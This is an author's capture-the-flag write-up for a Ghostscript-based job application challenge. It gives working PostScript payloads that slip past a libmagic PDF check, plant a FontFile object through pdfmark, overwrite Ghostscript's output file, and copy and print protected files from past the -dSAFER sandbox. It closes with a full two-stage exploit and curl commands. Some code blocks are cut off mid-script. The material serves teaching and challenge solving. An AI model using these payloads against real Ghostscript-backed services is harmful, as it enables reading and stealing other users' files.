Pwn-la-Chapelle

Pwn-la-Chapelle

Popping Shells and Stealing Flags at RWTH Aachen University

Author Writeup – Haix-La-Chapelle CTF 2025: Ghostbusters

by Romern - - Estimated reading time: 17 minutes

This is a writeup for the challenge “Ghostbusters” I submitted to Haix-La-Chapelle CTF 2025, which was the first CTF challenge I’ve ever created. I often see Ghostscript used in the wild in various ways in pentests, which is why I wanted to write a challenge about it for quite a while. If you are interested in this topic, my colleagues and I have also written a blog post about Ghostscript exploiting and published some useful exploit scripts for attacking Ghotscript.

You can download the files for the challenge here.

During the CTF only bedwars from the team tjcsc solved the challenge, so congratulations!

Challenge

The target is a job application website for the Ghostbusters, for which a name, email and CV have to be supplied:

Website Displaying an Application Form for the Ghostbusters

Under the hood, Ghostscript is used in various ways to process the application: For one, a preview of the supplied CV is shown on the website, which is generated using Ghostscript (/preview), and when submitting the CV (/submitcv), metadata is attached and all currently available applications are merged into one comprehensive PDF for HR.

All PDFs are subject to a strict filter to thwart attackers.

The goal as an attacker is to get access to all the other applications which where submitted (along with the flag).

Initial PostScript Execution: Getting Past the libmagic Check

The save_pdf_and_check_if_allowed first checks if the file is NOT a PDF file using libmagic/file:

1# use libmagic to check if it is ••really•• a PDF, and not evil PostScript code
2if mime.from_file(str(in_file)) != "application/pdf":
3    raise PDFValidationException("Only PDF files are allowed!")

Although an older version of Ghostscript (9.53.3 from Debian bullseye) is used, it is also checked that the most common exploit to run PostScript from an actual PDF file, (ghostinthepdf), is mitigated by not allowing FontFile PDF objects anywhere: In has_malicious_content, the string FontFile and any PDF objects that can contain other PDF objects are disallowed, which should generally forbid this kind of attack:

1def has_malicious_content(input_file: Path) -> bool:
2    if re.search(br'(/Encrypt)|(/ObjStm)|(/XObjects)|(/FontFile)|(#)', input_file.read_bytes()):
3        return True
4    return False

However, the checks in libmagic allow the PDF header to be anywhere in the first couple bytes, while requiring %!PS to be at the start of the file. Ghostscript just checks whether %!PS is found before %PDF (see here), or in the used version of Ghostscript, just whether %% or %! are before %PDF.

The following payload (notice the leading space) is recognized as PDF by libmagic, but as PostScript by Ghostscript and will simply print test123 as a PoC:

 1$ file test.ps --mime
 2test.ps: application/pdf; charset=us-ascii
 3$ cat test.ps
 4 %!PS
 5%PDF-1.0
 6
 7(test123\n) print
 8$ gs -dBATCH test.ps
 9GPL Ghostscript 10.05.1 (2025-04-29)
10[...]
11test123

So we don’t need to avoid any malicious PDF objects and can instead just directly call PostScript in the first stage.

Creating a Malicious Output File

Now that we can get PostScript past the initial check, we can look at how we can get the flag. The output of our PostScript file is written into a path with all the other applications:

 1out_file =  str(application_path / in_file.name)
 2try:
 3    subprocess.check_call(["gs",
 4                            "-dSAFER",
 5                            "-sDEVICE=pdfwrite",
 6                            "-sEMAIL="+request.form['email'],
 7                            "-sNAME="+request.form['name'],
 8                            "-sTIMESTAMP="+datetime.now().isoformat(),
 9                            "-o", out_file,
10                            "/opt/ressources/pdfmarkinfo.ps",
11                            in_file])
12except subprocess.CalledProcessError:
13    return render_template('apply.html', error="Processing of the PDF file failed!"), 400

The PDFMark file just appends the applicant’s metadata, but shouldn’t be susceptible to injection. More on PDFMark later.

Afterwards, all applications are merged with our output file into a convenient report for the HR person:

 1applications = list(str(i.absolute()) for i in application_path.glob('*.pdf'))
 2try:
 3    subprocess.check_call(["gs",
 4                            "-dSAFER",
 5                            "-sDEVICE=pdfwrite",
 6                            f"--permit-file-read={application_path}/",
 7                            "-o", str(merged_application_file),
 8                            *applications
 9                            ])
10except subprocess.CalledProcessError:
11    return render_template('apply.html', error="Processing of the PDF file failed weirdly!"), 400

The --permit-file-read flag allows the Ghostscript sandbox to read the application_path where all the applications, along with the flag, are stored.

Normally, the output of a PostScript or even a PDF file going into Ghostscript with the pdfwrite device is going to be a PDF file, which will only do normal PDF stuff. If we could break out and run PostScript code again, all application files are accessible, as they are being processed along with our PostScript code. The following sections show two ways to achieve this.

ghostinthepdf(intheps)

The PDFMark PostScript extension allows inserting PDF objects into the output PDF file from PostScript. As seen before, this is usually used for annotations or bookmarks, but can also be used to insert a malicious FontFile object into the output PDF, basically the initially forbidden ghostinthepdf method. As we cannot directly use the string FontFile, we have to encode it some other way, here I just used FontFil\e, which has the same meaning in PostScript. The following PostScript creates an output file which when processed again by Ghostscript will print test123:

 1 %!PS
 2%PDF-1.0
 3[ /_objdef {PostScriptStream} /type /stream /OBJ pdfmark
 4[ {PostScriptStream} << /Length1 0 >> /PUT pdfmark
 5[ {PostScriptStream} (%!PS\n\n(test123\n) print) /PUT pdfmark
 6[ {PostScriptStream} /CLOSE pdfmark
 7
 8[ /_objdef {FontDescriptor} /type /dict /OBJ pdfmark
 9[ {FontDescriptor}
10        <<
11        (FontFil\e) cvn {PostScriptStream}
12        /FontName /PSPoeb
13        /Type /FontDescriptor
14        >> /PUT pdfmark
15
16[ /_objdef {FontObject} /type /dict /OBJ pdfmark
17[   {FontObject}
18        <<
19        /BaseFont /PSPoeb
20        /Subtype /Type1
21        /FontDescriptor {FontDescriptor}
22        /Type /Font
23        >>
24    /PUT pdfmark
25
26% Use the font on the page
27% BT --> Begin text
28% ET --> End text
29[ </<>

Note that this will not work with Ghostscript >=9.56.1, as they introduced a new PDF interpreter.

 1$ gs -sDEVICE=pdfwrite -o out.pdf demo.ps
 2GPL Ghostscript 9.53.3 (2020-10-01)
 3[...]
 4
 5$ gs -sDEVICE=pdfwrite -o out2.pdf out.pdf
 6GPL Ghostscript 9.53.3 (2020-10-01)
 7[...]
 8Processing pages 1 through 1.
 9Page 1
10test123
11[...]

Overwriting the Output File

The second method is to overwrite the output file. Here is a short demo, very similar to what bedwars from the team tjcsc used in their solution (again just creating an output file which prints test123):

 1 %!PS
 2%PDF-1.0
 3% Get the current output file and save it in a variable
 4/outputFile currentpagedevice /OutputFile get def
 5
 6% Set the output of the device to `/dev/null`
 7<< /OutputFile (/dev/null) >> setpagedevice
 8
 9/p (%!PS\n\n(test123\n) print\n) def
10
11% Write our wanted string to the original output file
12outputFile (w) file dup p writestring closefile
13quit
1$ gs -sDEVICE=pdfwrite -o out.pdf demo.ps
2GPL Ghostscript 10.05.1 (2025-04-29)
3[...]
4$ cat out.pdf
5%!PS
6
7(test123\n) print

Exfiltrating the Flag

Using either of the two presented methods, we need a way to exfiltrate the flag, which is in one of the applications. The following script just copies all applications to /tmp (TEMP/TMPDIR/TMP), where reading and writing files is allowed by default in Ghostscript:

 1%!PS
 2
 3% from to copyfile -
 4/copyfile {
 5    /wfile exch (w) file def
 6    /rfile exch (r) file def
 7
 8    /buf 4096 string def
 9    {
10        rfile buf readstring
11        exch wfile exch writestring 
12        not { 
13            exit 
14        } if
15    } loop
16
17    rfile closefile
18    wfile closefile
19} def
20
21/concatstrings {
22    /s2 exch def
23    /s1 exch def
24    /out s1 length s2 length add string def
25
26    s1 out copy pop
27    out s1 length s2 putinterval
28    out
29} def
30
31/basename {
32    /filename exch def
33    [
34    filename (/) {
35        search {
36            3 1 roll
37        }{
38            exit
39        } ifelse
40    } loop
41    ]
42    dup length 1 sub get
43} def
44
45(/opt/applications/*) {
46    % copy the

Printing the Flag

There are multiple ways to extract the flag from /tmp using the /preview method, which will be shown in the following sections.

Printing the PDF Files’ Text Contents to the Page

Using a slightly modified version of print_file.ps script to print out the text content of all the files in /tmp to the output image. Using setpagedevice, the resolution of the output image is also increased so it can be properly read.

 1 %!PS
 2%PDF-1.0
 3
 4<<
 5    /PageSize [100 1000]
 6    /HWResolution [1000.0 1000.0]
 7>> setpagedevice
 8
 9%%%%%%%%%%%%%%%%%%% Configurable Variables
10
11% how many chars per line
12/charactercount 100 def
13/target_directory (/tmp/*.pdf) def
14
15
16%%%%%%%%%%%%%%%%%%% Page Setup
17/xposinit 0 def
18
19% white page
201 1 1 setrgbcolor clippath fill
21% black text
220 0 0 setrgbcolor
23/pagewidth currentpagedevice /PageSize get 0 get def
24/pageheight currentpagedevice /PageSize get 1 get def
25
26% calculate the character width
27/characterWidth pagewidth xposinit sub charactercount 2 add div def
28
29/Courier findfont setfont
30
31/curWidth (-) stringwidth pop def
32
33/Courier findfont characterWidth curWidth div scalefont setfont
34
35/lineheight
JPEG Showing the Plaintext Contents of the PDF containing the Flag

Putting the PDF Files in Plaintext in the Output File

Basically what we did when exfiltrating the flag, we change the output device and simply write all PDF files we previously copied to in /tmp to the output:

 1 %!PS
 2%PDF-1.0
 3
 4/target_directory (/tmp/*) def
 5
 6% Get the current output file and save it in a variable
 7/outputFile currentpagedevice /OutputFile get (w) file def
 8
 9% Set the output of the device to `/dev/null`
10<< /OutputFile (/dev/null) >> setpagedevice
11
12{
13    target_directory { %filenameforall
14        /curFileName exch def
15        outputFile (\n============\n) writestring
16        outputFile curFileName writestring
17        outputFile (:\n) writestring
18
19        /infile curFileName (r) file def
20        /buff 4096 string def
21        {
22            infile buff readstring
23            /endOfFile exch not def
24            /subString exch def
25            outputFile subString writestring
26            endOfFile {
27                % </<>
Plaintext Document Containing the Plaintext Contents of the PDF containing the Flag

Rendering the PDF Files in a PDF File

We can also change the output device from jpeg to pdfwrite and render the PDFs into one PDF for us. Note that this will not work with Ghostscript >=10.04.0, as they stopped allowing to change to arbitrary output devices, probably to prevent abusing vulnerabilities in obscure devices.

 1 %!PS
 2%PDF-1.0
 3
 4/outputFile currentpagedevice /OutputFile get def
 5
 6<<
 7    /OutputDevice (pdfwrite)
 8    /OutputFile outputFile
 9>> setpagedevice
10
11(/tmp/*.pdf) {
12    {
13        run
14    } stopped {} {} ifelse % error catching frame
15} 4096 string filenameforall
16showpage
PDF Document Containing the PDF containing the Flag

Full Solution

First stage (stage_1.ps), which copies all applications to /tmp:

 1 %!PS
 2%PDF-1.0
 3% Get the current output file and save it in a variable
 4/outputFile currentpagedevice /OutputFile get def
 5
 6% Set the output of the device to `/dev/null`
 7<< /OutputFile (/dev/null) >> setpagedevice
 8
 9/p (%!PS\n\n% from to copyfile -\n/copyfile {\n    /wfile exch (w) file def\n    /rfile exch (r) file def\n\n    /buf 4096 string def\n    {\n        rfile buf readstring\n        exch wfile exch writestring \n        not { \n            exit \n        } if\n    } loop\n\n    rfile closefile\n    wfile closefile\n} def\n\n/concatstrings {\n    /s2 exch def\n    /s1 exch def\n    /out s1 length s2 length add string def\n\n    s1 out copy pop\n    out s1 length s2 putinterval\n    out\n} def\n\n/basename {\n    /filename exch def\n    [\n    filename (/) {\n        search {\n            3 1 roll\n        }{\n            exit\n        } ifelse\n    } loop\n    ]\n    dup length 1 sub get\n} def\n\n(/opt/applications/*) {\n    dup (/tmp/) exch basename concatstrings copyfile\n} 4096 string filenameforall) def
10
11% Write our wanted string to the original output file
12outputFile (w) file dup p writestring closefile
13quit

Second stage (stage_2.ps), which prints all PDF files in /tmp as a PDF to the output file:

 1 %!PS
 2%PDF-1.0
 3
 4/outputFile currentpagedevice /OutputFile get def
 5
 6<<
 7    /OutputDevice (pdfwrite)
 8    /OutputFile outputFile
 9>> setpagedevice
10
11(/tmp/*.pdf) {
12    {
13        run
14    } stopped {} {} ifelse % error catching frame
15} 4096 string filenameforall
16showpage

Running the Exploit

Start our instance using Docker:

1docker build . -t ghostbusters
2docker run --env FLAG='flag{look_mom_no_sandbox}' -p 5000:5000 -t ghostbusters

and retrieve the flag with our payloads and curl:

1curl "localhost:5000/submitcv" -F name=Romern -F email=ghostbusters@romern.me -F file=@stage_1.ps
2curl "localhost:5000/previewpdf" -F file=@stage_2.ps --output preview.jpg
rssfacebooktwittergithubyoutubemailspotifylastfminstagramlinkedingooglegoogle-pluspinterestmediumvimeostackoverflowredditquoraquora